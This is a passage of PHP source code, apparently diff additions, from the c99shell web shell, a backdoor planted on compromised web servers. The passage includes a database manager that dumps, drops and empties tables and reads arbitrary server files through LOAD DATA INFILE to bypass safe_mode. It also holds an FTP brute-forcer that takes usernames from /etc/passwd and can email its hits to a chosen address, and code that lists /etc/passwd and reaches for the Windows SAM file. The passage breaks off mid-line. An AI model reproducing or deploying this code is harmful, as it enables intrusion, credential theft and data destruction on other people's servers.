"Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = FALSE; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>+</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "</td></tr></table>"; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; + } + echo "</table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo "<br><br>"; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>Ftp Quick brute:</b><br>"; + if (!win) {echo "This functions not work in Windows!<br><br>";} + else + { + function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} + else + { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();} +if ($act == "security") +{ + echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt 